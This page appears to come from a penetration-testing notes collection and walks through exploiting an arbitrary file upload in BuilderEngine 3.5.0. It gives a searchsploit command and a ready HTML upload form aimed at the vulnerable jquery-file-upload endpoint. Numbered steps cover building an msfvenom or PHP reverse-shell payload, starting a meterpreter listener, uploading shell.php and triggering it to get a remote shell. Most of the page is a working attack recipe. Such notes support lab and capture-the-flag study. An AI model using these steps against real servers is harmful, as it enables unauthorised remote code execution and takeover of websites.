search

BuilderEngine 3.5.0 Remote Code Execution via elFinder 2.0

#BuilderEngine 3.5.0 - Arbitrary File Upload

searchsploit -m php/webapps/40390.php

-->
<html>
<body>
<form method="post" action="http://localhost/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" en>
        <input type="file" name="files[]" />
        <input type="submit" value="send" />
</form>
</body>
</html>


#Change the above with the target uri


-->
<html>
<body>
<form method="post" action="http://192.168.101.190/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" en>
        <input type="file" name="files[]" />
        <input type="submit" value="send" />
</form>
</body>
</html>

[1]Save the file as test.html

[2]Create a payload with msfvenom (simple php-reverse-shell is also possible)

[3]Copy the payload and paste it in a shell.php file

[4]Start a meterpreter listener to catch the shell

[5]Right click on the test.html and open with firefox

[6]select the “shell.php” file previously created

[7]Shell is now available at http://192.168.101.190/files/arrow-up-right | click on newly created payload to trigger revshell

Previousrobots.txtNextSquid proxy

Last updated